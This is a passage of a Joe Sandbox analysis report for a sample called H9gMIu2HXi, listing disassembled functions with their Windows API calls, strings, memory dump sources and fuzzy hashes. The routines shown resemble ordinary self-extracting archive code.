Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 2ec1c27a9aec1390717250c2872787286cf2e6bca666d96ef6ddcae6bd99b5a1
Instruction ID: bde059527568fc3544f8dcd21fdab0ffaec6586d80884d65022d4c2231076b40
Opcode Fuzzy Hash: 2ec1c27a9aec1390717250c2872787286cf2e6bca666d96ef6ddcae6bd99b5a1
Instruction Fuzzy Hash: 11310771985B40BFD301EF70DC4EFAB3FACFB52704F000A08F99196190C7A5590A8B66

Uniqueness

Uniqueness Score: -1.00%

Function 00A3E8DF Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 184
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00A3E8FE
ShellExecuteExW.SHELL32(?), ref: 00A3EA2E
IsWindowVisible.USER32(?), ref: 00A3EA61
ShowWindow.USER32(?,00000000), ref: 00A3EA6D
WaitForInputIdle.USER32(?,000007D0), ref: 00A3EA7E
GetExitCodeProcess.KERNEL32(?,?), ref: 00A3EAA9
CloseHandle.KERNEL32(?), ref: 00A3EACF
ShowWindow.USER32(?,00000001), ref: 00A3EB31

Strings

.inf, xrefs: 00A3E9EA
.exe, xrefs: 00A3EAD9

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_wcslen
String ID: .exe$.inf
API String ID: 3646668279-3750412487
Opcode ID: d2f7ae28f3f08b4b537487b78965b8b3146dff7fc5bd4dd53bec46183fab096b
Instruction ID: ea0837f375ce3fd60b684c15e8afbe0ddf381d34b29ee42d8c68f05e6486b43b
Opcode Fuzzy Hash: d2f7ae28f3f08b4b537487b78965b8b3146dff7fc5bd4dd53bec46183fab096b
Instruction Fuzzy Hash: 6351E1705483809EDB31DF64D844BABBBE5BF84784F08481DF9C5971D0EB718896CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00A4BB1B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00A469A3,00A469A3,?,?,?,00A4BD6C,00000001,00000001,62E85006), ref: 00A4BB75
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00A4BD6C,00000001,00000001,62E85006,?,?,?), ref: 00A4BBFB
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,62E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00A4BCF5
__freea.LIBCMT ref: 00A4BD02

Part of subcall function 00A4A7FE: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00A4DBEC,00000000,?,00A480B1,?,00000008,?,00A4A871,?,?,?), ref: 00A4A830

__freea.LIBCMT ref: 00A4BD0B
__freea.LIBCMT ref: 00A4BD30

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: e74deb7da6cab390dedb040b0158f53645ce016ef297359e5a32285e96c221e8
Instruction ID: 6c8ac613347950dc904ccbd2dd92fa4ef438d20da25720615e786a9015b76cee
Opcode Fuzzy Hash: e74deb7da6cab390dedb040b0158f53645ce016ef297359e5a32285e96c221e8
Instruction Fuzzy Hash: 3C51D17AA20216ABEB258F64CC81EBF77A9EFC4754F154668FC04D6150EB35DC81C6B0

Uniqueness

Uniqueness Score: -1.00%

Function 00A3C324 Relevance: 9.1, APIs: 6, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00020008,00A3BF14,?,?,?,?,00A3BF14,?), ref: 00A3C333
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00A3BF14,?), ref: 00A3C33A
GetTokenInformation.KERNELBASE(00A3BF14,00000001(TokenIntegrityLevel),00000000,00000000,?,?,?,?,?,00A3BF14,?), ref: 00A3C354
GetLastError.KERNEL32(?,?,?,?,00A3BF14,?), ref: 00A3C35E
GetTokenInformation.KERNELBASE(00A3BF14,00000001(TokenIntegrityLevel),00000000,?,?,?,?,?,?,?,00A3BF14,?), ref: 00A3C382
CopySid.ADVAPI32(00000044,00A3BF14,00000000,?,?,?,?,?,00A3BF14,?), ref: 00A3C393

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Token$InformationProcess$CopyCurrentErrorLastOpen
String ID:
API String ID: 3984476752-0
Opcode ID: 0515aeece10fdeff64b9afc6987aacd12c747717110791900338786353810fbd
Instruction ID: 4f43199009c690a9a10c55b7531a32d5fe7fd0d6efcde55503049540ff9acf43
Opcode Fuzzy Hash: 0515aeece10fdeff64b9afc6987aacd12c747717110791900338786353810fbd
Instruction Fuzzy Hash: 4D012975940208BFDB119BE0EC89EEEBBBDEF09764F104055FA06E5150D6718A91AB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A3ED8B Relevance: 9.0, APIs: 6, Instructions: 42
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00A3ED97
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00A3EDB1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00A3EDC2
TranslateMessage.USER32(?), ref: 00A3EDCC
DispatchMessageW.USER32(?), ref: 00A3EDD6
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00A3EDE1

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 35c8a55e587305701f1dc22e522886f5284de74f7e519d46016f32d2b7974062
Instruction ID: 2da834db4d01f4862841f66befe8ba0bf384901d55d4814c9fab010837a7d527
Opcode Fuzzy Hash: 35c8a55e587305701f1dc22e522886f5284de74f7e519d46016f32d2b7974062
Instruction Fuzzy Hash: 17F03C72E01219ABCB20ABE1EC4CDCF7E7CEF45391F108021BA0BD2090D6348556C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00A3DFCC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00A3DFE2

Part of subcall function 00A2CAA0: _wcslen.LIBCMT ref: 00A2CAA6

_swprintf.LIBCMT ref: 00A3E016

Part of subcall function 00A24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A24A33

SetDlgItemTextW.USER32(?,00000066,00A72892), ref: 00A3E036
EndDialog.USER32(?,00000001), ref: 00A3E143

Strings

%s%s%u, xrefs: 00A3E00B

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: 897b5d76a342555841df8d25dae65f301cb2c89f75ed6dd6946cc9650bda3866
Instruction ID: 3c1697ebb3b3ed26653023f46546d7dea228e89f70c711654c252f808cc81811
Opcode Fuzzy Hash: 897b5d76a342555841df8d25dae65f301cb2c89f75ed6dd6946cc9650bda3866
Instruction Fuzzy Hash: 22416F71940218AADF25DBA0DD45FEA77FCEB04305F4084A6F909A7091EF719A85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00A3BD1B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A31B3B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00A31B56
Part of subcall function 00A31B3B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00A3063A,Crypt32.dll,00000000,00A306B4,00000200,?,00A30697,00000000,00000000,?), ref: 00A31B78

OleInitialize.OLE32(00000000), ref: 00A3BD34
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00A3BD6B
SHGetMalloc.SHELL32(00A6A460), ref: 00A3BD75

Strings

riched20.dll, xrefs: 00A3BD23
3To, xrefs: 00A3BD4C

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3To
API String ID: 3498096277-2168385784
Opcode ID: efc21cfeef71336d3ef84e6adb48488f3fb9421442d42bc58ccb705e3890494d
Instruction ID: ff09d5b635d3c58171374934965b0ecb4c862c8286d2444c78ce9e13aaff669c
Opcode Fuzzy Hash: efc21cfeef71336d3ef84e6adb48488f3fb9421442d42bc58ccb705e3890494d
Instruction Fuzzy Hash: C8F049B1C00209AFCB10AFA9C8499EFFBFCEF80304F00441AF804A2200DBB456468BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A2AB40 Relevance: 7.6, APIs: 5, Instructions: 111
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,08000000,00000000,?,00000000,?,?,00A28243,?,00000005,?,00000011), ref: 00A2ABBF
GetLastError.KERNEL32(?,?,00A28243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00A2ABCC
CreateFileW.KERNEL32(00000000,?,?,00000000,00000003,08000000,00000000,?,?,00000800,?,?,00A28243,?,00000005,?), ref: 00A2AC02
GetLastError.KERNEL32(?,?,00A28243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00A2AC0A
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00A28243,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00A2AC59

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 4befb2b06ad74e390afe428eed88b2446fe418b5dce3e7d35f83267560a3106f
Instruction ID: 1aab2e0cf91e1bc0f4b03a7f1f9a2bf9893de1bed283e91902cb96e03d65e662
Opcode Fuzzy Hash: 4befb2b06ad74e390afe428eed88b2446fe418b5dce3e7d35f83267560a3106f
Instruction Fuzzy Hash: 31318A305447916FE330DF68ED45BDABBE4BB15324F200B29F9A1921D1C3B4A885CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A3C758 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00A3C769
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00A3C77A
IsDialogMessageW.USER32(0001046C,?), ref: 00A3C78E
TranslateMessage.USER32(?), ref: 00A3C79C
DispatchMessageW.USER32(?), ref: 00A3C7A6

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: da1f786080e6e67e7a7781171461e6e140ed8650395d415584951bee341ad1c8
Instruction ID: 99f449870df49d5504a18531e7211a873e8b8d9ecb50f645c66aa65739c5fb27
Opcode Fuzzy Hash: da1f786080e6e67e7a7781171461e6e140ed8650395d415584951bee341ad1c8
Instruction Fuzzy Hash: AAF0A975D01519AACB20EBF6AC4CDDB7EBCEE05761B404415B906E2150E764D506CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00A3BBC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00A3BBD7
SHAutoComplete.SHLWAPI(?,00000010), ref: 00A3BC0E

Part of subcall function 00A33316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,00A2D523,00000000,.exe,?,?,00000800,?,?,?,00A39E5C), ref: 00A3332C

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00A3BBFE

Strings

EDIT, xrefs: 00A3BBE2, 00A3BBED, 00A3BBFA

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: a96ac3a5ca86a1705c203cfb65ac07b5972f14fb413ceb442157b89836214a2e
Instruction ID: 82c67ffc2b71c98f80d238a0869bd82bdab4bb1cf80fe59b792eb8d764fd7806
Opcode Fuzzy Hash: a96ac3a5ca86a1705c203cfb65ac07b5972f14fb413ceb442157b89836214a2e
Instruction Fuzzy Hash: 80F08232E006287BDB30A7B59C09F9F7A6CAB4AB40F440021BE00B6180DB60E90286F6

Uniqueness

Uniqueness Score: -1.00%

Function 00A3ED2E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00A3ED44
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00A3ED80

Strings

sfxpar, xrefs: 00A3ED7B
sfxcmd, xrefs: 00A3ED3F

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: fc6dd97abe2e95ba4c83aa682a3c9603e8e4adcf8a546e5adc4cf22aee7ca246
Instruction ID: 1c0798e4e7a03b7d85f096b9ce5afc4dcdc1d32bdca33b285ae50a0920c5c265
Opcode Fuzzy Hash: fc6dd97abe2e95ba4c83aa682a3c9603e8e4adcf8a546e5adc4cf22aee7ca246
Instruction Fuzzy Hash: B6F06572901724BBDB216FD08C06EBA7B68BF19B82F444651FD8597096E774C880D6B0

Uniqueness

Uniqueness Score: -1.00%

Function 00A44DA2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,00A44D53,00000000,?,00A840C4,?,?,?,00A44EF6,00000004,InitializeCriticalSectionEx,00A57424,InitializeCriticalSectionEx), ref: 00A44DAF
GetLastError.KERNEL32(?,00A44D53,00000000,?,00A840C4,?,?,?,00A44EF6,00000004,InitializeCriticalSectionEx,00A57424,InitializeCriticalSectionEx,00000000,?,00A44CAD), ref: 00A44DB9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00A44DE1

Strings

api-ms-, xrefs: 00A44DC6

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 37e6b3b4fbc90b98e3a4c2f5a5e4f6f43ce39622b25871711dc790a0f1494ad0
Instruction ID: ba307249ac9625a64a5ccf45b376cf8b3a7eccc2bc46ea20c7764f85d1ed5b7b
Opcode Fuzzy Hash: 37e6b3b4fbc90b98e3a4c2f5a5e4f6f43ce39622b25871711dc790a0f1494ad0
Instruction Fuzzy Hash: DAE04F3C684304B7EF105BA1EC06FAD3F58BF44B66F200020FA0DA84E1E761A9919584

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A9E5 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00A2A9F5
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 00A2AA0D
GetLastError.KERNEL32 ref: 00A2AA3F
GetLastError.KERNEL32 ref: 00A2AA5E

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 5b78485ecc3b8ff70ed397d254fd2b9377d8565538c5f710bf242cb59dab2573
Instruction ID: d8ae3fd991836940d46f90e770e6f0cecd71b10ae4c08fbd67da6a83ec1c5a55
Opcode Fuzzy Hash: 5b78485ecc3b8ff70ed397d254fd2b9377d8565538c5f710bf242cb59dab2573
Instruction Fuzzy Hash: 7B118231900224EBCF209FA8FE0466E37B9BF253A5F204636F91A86190D7748E85DB53

Uniqueness

Uniqueness Score: -1.00%

Function 00A4BEF4 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,00A45281,00000000,00000000,?,00A4BE9B,00A45281,00000000,00000000,00000000,?,00A4C098,00000006,FlsSetValue), ref: 00A4BF26
GetLastError.KERNEL32(?,00A4BE9B,00A45281,00000000,00000000,00000000,?,00A4C098,00000006,FlsSetValue,00A58A00,FlsSetValue,00000000,00000364,?,00A4A5E7), ref: 00A4BF32
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00A4BE9B,00A45281,00000000,00000000,00000000,?,00A4C098,00000006,FlsSetValue,00A58A00,FlsSetValue,00000000), ref: 00A4BF40

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: b1230ac3a6e6d66f84352e1b09f83445dbd91573c76c168f816b9afe83101c32
Instruction ID: 17856733bb4497c6e9b74f631a8260afa229185f3310b6522640d74b77cf5bd2
Opcode Fuzzy Hash: b1230ac3a6e6d66f84352e1b09f83445dbd91573c76c168f816b9afe83101c32
Instruction Fuzzy Hash: B301FC3A6253239BC721CBA8AC44A577B98BF95766B250624F91ED3190D720DC06CEF0

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B20A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,00A2E79B,00000001,?,?,?,00000000,00A366C2,?,?,?), ref: 00A2B22E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,00A366C2,?,?,?,?,?,00A36184,?), ref: 00A2B275
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,00A2E79B,00000001,?,?), ref: 00A2B2A1

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
